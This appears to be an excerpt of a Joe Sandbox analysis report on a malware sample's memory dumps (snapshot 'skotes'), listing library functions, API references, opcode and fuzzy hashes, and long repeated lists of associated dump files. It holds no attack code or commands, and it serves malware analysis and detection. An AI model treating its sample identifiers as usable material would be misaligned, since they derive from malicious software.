Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 2694c0065bd1ec5f3f2bebce041561c5970f9ef0a87efcd89f9adee8b7d706ea
Instruction ID: bc91eaae6791c82009496aeaf98b1aff3c7813540b9d6b6fffa943b145a5a92f
Opcode Fuzzy Hash: 2694c0065bd1ec5f3f2bebce041561c5970f9ef0a87efcd89f9adee8b7d706ea
Instruction Fuzzy Hash: 4D01D671600921EFDA25BBA4DC96F6EB7AABF44710300012DF90497616DF29FC61C7A0

Function 007CEE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 007CEE6A
ListArray.LIBCONCRT ref: 007CEE7C

Part of subcall function 007CEF29: _InternalDeleteHelper.LIBCONCRT ref: 007CEF3B

ListArray.LIBCONCRT ref: 007CEE86
_InternalDeleteHelper.LIBCONCRT ref: 007CEE9F

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 38ee68a9b00bdc4d1978265e9bbb369b06ebb1e4b0e81f262df98c8edf65a96a
Instruction ID: a7dd077d302fa9525e221fe33bd85d8adb81ba06253957b2d226797485c3a146
Opcode Fuzzy Hash: 38ee68a9b00bdc4d1978265e9bbb369b06ebb1e4b0e81f262df98c8edf65a96a
Instruction Fuzzy Hash: D501D171200621EFDA25BB60DCC6FAEBB69BF84750704102DF50497612CF28FC2286A0

Function 007CD0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 007CD0C5
ListArray.LIBCONCRT ref: 007CD0D7

Part of subcall function 007CC6B2: _InternalDeleteHelper.LIBCONCRT ref: 007CC6C4

ListArray.LIBCONCRT ref: 007CD0E1
_InternalDeleteHelper.LIBCONCRT ref: 007CD0FA

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 64c7b337cb8934e34fa89242499771bdbaba6dbeba4d738e5fd56e8d0414271a
Instruction ID: 7d93843682b06cd5a82254da54aff0fe52fe8969a2035176e23c394b9ca51638
Opcode Fuzzy Hash: 64c7b337cb8934e34fa89242499771bdbaba6dbeba4d738e5fd56e8d0414271a
Instruction Fuzzy Hash: 1D01F971200525FFCA36BB64CDDAFAEB769BF44710705002DF90497612DF29EC5297A0

Function 007D33C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 007D33DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 007D33EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 007D3407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 007D341F

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 8280908a5f0a295b698685d779daa8b218b9b6c079efad2a53f2c1290dfacb50
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 6A01D132600514E7CF16EE658845EAFB7B9AF44350F10002AFC16AB382DA79EE0097A2

Function 007C9510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 007C9519

Part of subcall function 007BF4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 007C5486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 007C953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 007C9550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 007C9559

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 12518685480114a7bdece944a82261e3ff943cbfd9e519c2e77fd04b55b6d929
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: FCF0A731200E209EE6A2AB549819FAA23959F40711F00841EE51B972C2CE2CE942CB91

Function 007DF1BF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 007DF232
__freea.LIBCMT ref: 007DF298

Part of subcall function 007DB04B: RtlAllocateHeap.NTDLL(00000000,3FA4AC3E,?,?,007BD3FC,3FA4AC3E,?,007B7A8B,?,?,?,?,?,?,007A7465,?), ref: 007DB07E

Strings

Z},m}, xrefs: 007DF1D2

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
